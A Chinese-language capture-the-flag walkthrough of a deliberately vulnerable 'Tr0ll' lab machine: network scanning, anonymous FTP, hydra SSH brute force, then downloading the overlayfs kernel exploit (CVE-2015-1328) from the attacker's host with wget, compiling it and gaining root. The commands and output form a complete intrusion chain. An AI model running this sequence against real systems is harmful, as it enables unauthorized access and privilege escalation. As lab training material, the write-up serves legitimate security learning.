4-Tr0ll

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:26:ba:69, IPv4: 192.168.3.11
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.3.1     00:50:56:c0:00:08       VMware, Inc.
192.168.3.2     00:50:56:e4:e9:e5       VMware, Inc.
192.168.3.28    00:0c:29:39:e9:62       VMware, Inc.
192.168.3.254   00:50:56:fd:ec:9f       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.966 seconds (130.21 hosts/sec). 4 responded

目录扫描扫到secret和robots.txt

访问secret得

troll

访问网页得

┌──(root㉿kali)-[~]
└─# nmap -Pn -A -sV -T4 -p- 192.168.3.28 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-06 04:55 EST
Nmap scan report for 192.168.3.28
Host is up (0.00034s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.3.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap [NSE: writeable]
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/secret
MAC Address: 00:0C:29:39:E9:62 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 192.168.3.28

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds

可利用得点

1	lol.pcap [NSE: writeable]

1	ftp-anon: Anonymous FTP login allowed (FTP code 230)

存在lol.pcap流量文件，还有FTP带有匿名登录名

直接Anonymous Anonymous登录，然后读文件

┌──(root㉿kali)-[~]
└─# ftp 192.168.3.28                
Connected to 192.168.3.28.
220 (vsFTPd 3.0.2)
Name (192.168.3.28:root): Anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||33509|).
150 Here comes the directory listing.
-rwxrwxrwx    1 1000     0            8068 Aug 09  2014 lol.pcap
226 Directory send OK.
ftp> get lol.pcap
local: lol.pcap remote: lol.pcap
229 Entering Extended Passive Mode (|||64258|).
150 Opening BINARY mode data connection for lol.pcap (8068 bytes).
100% |******************************************************************************************************************|  8068        8.89 MiB/s    00:00 ETA
226 Transfer complete.
8068 bytes received in 00:00 (4.98 MiB/s)
ftp>

分析流量

请求下载了一个secret_stuff.txt

1	-rw-r--r-- 1 0 0 147 Aug 10 00:38 secret_stuff.txt

1
2
3

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

┌──(root㉿kali)-[~/yiyi/tmp]
└─# wget http://192.168.3.28/sup3rs3cr3tdirlol/roflmao
--2024-11-06 05:13:41--  http://192.168.3.28/sup3rs3cr3tdirlol/roflmao
正在连接 192.168.3.28:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：7296 (7.1K)
正在保存至: “roflmao”

roflmao                                 100%[==============================================================================>]   7.12K  --.-KB/s  用时 0s      

2024-11-06 05:13:41 (826 MB/s) - 已保存 “roflmao” [7296/7296])

                                                                                                                                                               
┌──(root㉿kali)-[~/yiyi/tmp]
└─# strings roflmao 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
printf
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Find address 0x0856BF to proceed
;*2$"
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6590
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
roflmao.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
_edata
_fini
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init

which_one_lol.txt

maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

Pass.txt

1	Good_job_:)

用户名+密码直接尝试海德拉爆破ssh了

┌──(root㉿kali)-[~/yiyi/tmp]
└─# hydra -L user.txt -p Pass.txt ssh://192.168.3.28  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-06 05:18:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task
[DATA] attacking ssh://192.168.3.28:22/
[22][ssh] host: 192.168.3.28   login: overflow   password: Pass.txt
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-06 05:18:52

1	login: overflow password: Pass.txt

ssh

┌──(root㉿kali)-[~/yiyi/tmp]
└─# ssh overflow@192.168.3.28
overflow@192.168.3.28's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Nov  6 02:20:04 2024 from 192.168.3.11
Could not chdir to home directory /home/overflow: No such file or directory
$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/su
/bin/ping
/bin/fusermount
/bin/ping6
/bin/mount
/bin/umount
$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
$

┌──(root㉿kali)-[~]
└─# searchsploit Linux 4-Tr0ll 3.13.0
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Alienvault Open Source SIEM (OSSIM) < 4.7.0 - 'get_license' Remote Command Execution (Metasploit)                            | linux/remote/42697.rb
Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution                              | linux/remote/33805.pl
Alienvault Open Source SIEM (OSSIM) < 4.8.0 - 'get_file' Information Disclosure (Metasploit)                                 | linux/remote/42695.rb
AppArmor securityfs < 4.8 - 'aa_fs_seq_hash_show' Reference Count Leak                                                       | linux/dos/40181.c
CyberArk < 10 - Memory Disclosure                                                                                            | linux/remote/44829.py
CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure                                                                     | linux/dos/44428.txt
Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution                                                                 | linux/local/44920.txt
Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution                                                                 | linux/local/44920.txt
Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution                                                                | linux/remote/44921.txt
Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution                                                                | linux/remote/44921.txt
Dell EMC RecoverPoint boxmgmt CLI < 5.1.2 - Arbitrary File Read                                                              | linux/local/44688.txt
DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)                                                                     | linux/webapps/42769.rb
Exim < 4.86.2 - Local Privilege Escalation                                                                                   | linux/local/39549.txt
Exim < 4.90.1 - 'base64d' Remote Code Execution                                                                              | linux/remote/44571.py
Gnome Web (Epiphany) < 3.28.2.1 - Denial of Service                                                                          | linux/dos/44857.html
Jfrog Artifactory < 4.16 - Arbitrary File Upload / Remote Command Execution                                                  | linux/webapps/44543.txt
KDE libkhtml 3.5 < 4.2.0 - Unhandled HTML Parse Exception                                                                    | linux/dos/2954.html
LibreOffice < 6.0.1 - '=WEBSERVICE' Remote Arbitrary File Disclosure                                                         | linux/remote/44022.md
Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module                                               | linux/dos/46477.txt
Linux < 4.16.9 / < 4.14.41 - 4-byte Infoleak via Uninitialized Struct Field in compat adjtimex Syscall                       | linux/dos/44641.c
Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem                                        | linux/dos/46502.txt
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation                                                    | solaris/local/15962.c
Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation                                                            | linux/local/50135.c
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation                                   | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                         | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)    | linux/local/37293.txt
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation                               | linux_x86-64/local/33516.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32=y' Local Privilege Escalation (3)                       | linux_x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2)                                              | linux/local/31346.c
Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC)                                                                        | linux/dos/31305.c
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free                                                         | linux/dos/43234.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation                                                                   | linux/local/41886.c
Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation                                                            | linux/local/34923.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation                                                 | linux_x86-64/local/44302.c
Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service                                                 | linux/dos/42136.c
Linux kernel < 4.10.15 - Race Condition Privilege Escalation                                                                 | linux/local/43345.c
Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation                                            | linux/local/45553.c
Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC)                                                                      | linux/dos/42762.txt
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                                | linux/local/45010.c
Linux Kernel < 4.14.rc3 - Local Denial of Service                                                                            | linux/dos/42932.c
Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak                                                                     | linux/local/44325.c
Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption                                                         | linux/dos/44832.txt
Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free                                                                               | linux/dos/44579.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                                       | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation                            | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)                        | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)    | linux/local/47169.c
Linux Kernel < 4.5.1 - Off-By-One (PoC)                                                                                      | linux/dos/44301.c
Logpoint < 5.6.4 - Root Remote Code Execution                                                                                | linux/remote/42158.py
MatrixSSL < 4.0.2 - Stack Buffer Overflow Verifying x.509 Certificates                                                       | linux/dos/46435.txt
MatrixSSL < 4.0.2 - Stack Buffer Overflow Verifying x.509 Certificates                                                       | linux/dos/46435.txt
MiniDVBLinux <=5.4  - Config Download Exploit                                                                                | hardware/remote/51091.txt
Nagios < 4.2.2 - Arbitrary Code Execution                                                                                    | linux/remote/40920.py
Nagios < 4.2.4 - Local Privilege Escalation                                                                                  | linux/local/40921.sh
NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Local Privilege Escalation                                                        | linux/local/42305.txt
OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                     | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                               | linux/remote/45210.py
OpenSSH < 6.6 SFTP (x64) - Command Execution                                                                                 | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution                                                                                       | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation                         | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                                                     | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                                                         | linux/remote/45939.py
Oracle MySQL < 5.1.49 - 'DDL' Statements Denial of Service                                                                   | linux/dos/34522.txt
Oracle MySQL < 5.1.49 - Malformed 'BINLOG' Arguments Denial of Service                                                       | linux/dos/34521.txt
Oracle VM VirtualBox < 5.0.32 / < 5.1.14 - Local Privilege Escalation                                                        | linux/local/41196.txt
Oracle WebCenter FatWire Content Server < 7 - Improper Access Control                                                        | linux/webapps/44757.txt
PHP < 4.4.5/5.2.1 - 'shmop' Local Code Execution                                                                             | linux/local/3426.php
PHP < 4.4.5/5.2.1 - 'shmop' SSL RSA Private-Key Disclosure                                                                   | linux/local/3427.php
PHP < 4.4.5/5.2.1 - '_SESSION unset()' Local Overflow                                                                        | linux/local/3571.php
PHP < 4.4.5/5.2.1 - '_SESSION' Deserialization Overwrite                                                                     | linux/local/3572.php
Pi-hole < 4.4 - Authenticated Remote Code Execution                                                                          | linux/webapps/48442.py
Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation                                                  | linux/webapps/48443.py
Redis-cli < 5.0 - Buffer Overflow (PoC)                                                                                      | linux/local/44904.py
RPi Cam Control < 6.4.25 - 'preview.php' Remote Command Execution                                                            | linux/webapps/45361.py
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1)                                                                   | linux/local/46359.md
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)                                                                   | linux/local/46369.md
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipename()' Arbitrary Module Load (Metasploit)                                 | linux/remote/42084.rb
SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion                                                                           | linux/webapps/44655.txt
Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1)                                                                  | linux/local/47009.c
SixApart MovableType < 5.2.12 - Storable Perl Code Execution (Metasploit)                                                    | linux/webapps/41697.rb
Splunk < 7.0.1 - Information Disclosure                                                                                      | linux/webapps/44865.txt
systemd (systemd-tmpfiles) < 236 - 'fs.protected_hardlinks=0' Local Privilege Escalation                                     | linux/local/43935.txt
Tenable Appliance < 4.5 - Root Remote Code Execution                                                                         | linux/remote/41892.sh
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation                                       | linux/local/41760.txt
UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Root Remote Code Execution                                                | linux/remote/42949.txt
UCOPIA Wireless Appliance < 5.1.8 - Local Privilege Escalation                                                               | linux/local/42936.md
UCOPIA Wireless Appliance < 5.1.8 - Restricted Shell Escape                                                                  | linux/local/42937.md
Vim < 8.1.1365 / Neovim < 0.3.6 - Arbitrary Code Execution                                                                   | linux/local/46973.md
Virtualmin < 3.703 - Multiple Local/Remote Vulnerabilities                                                                   | linux/remote/9143.txt
WordPress Core < 4.7.4 - Unauthorized Password Reset                                                                         | linux/webapps/41963.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

┌──(root㉿kali)-[~]
└─# searchsploit Linux 4-Tr0ll 3.13.0|grep overlayfs
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                         | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)    | linux/local/37293.txt

┌──(root㉿kali)-[~/yiyi/tmp]
└─# searchsploit -m linux/local/37292.c 
  Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/37292
     Path: /usr/share/exploitdb/exploits/linux/local/37292.c
    Codes: CVE-2015-1328
 Verified: True
File Type: C source, ASCII text, with very long lines (466)
Copied to: /root/yiyi/tmp/37292.c


                                                                                                                                                               
┌──(root㉿kali)-[~/yiyi/tmp]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.3.28 - - [06/Nov/2024 05:41:28] "GET /37292.c HTTP/1.1" 200 -
192.168.3.28 - - [06/Nov/2024 05:41:33] "GET /37292.c HTTP/1.1" 200 -
192.168.3.28 - - [06/Nov/2024 05:42:58] "GET /37292.c HTTP/1.1" 200 -

$ wget http://192.168.3.11:8000/37292.c 
--2024-11-06 02:42:58--  http://192.168.3.11:8000/37292.c
Connecting to 192.168.3.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: ‘37292.c’

100%[=====================================================================================================================>] 4,968       --.-K/s   in 0s      

2024-11-06 02:42:58 (1.15 GB/s) - ‘37292.c’ saved [4968/4968]

$ ls
37292.c
$ gcc 37292.c -o exp  
$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
# ls /root
proof.txt
# cat /root/proof.txt
Good job, you did it! 


702a8c18d29c6f3ca0d99ef5712bfbdc
#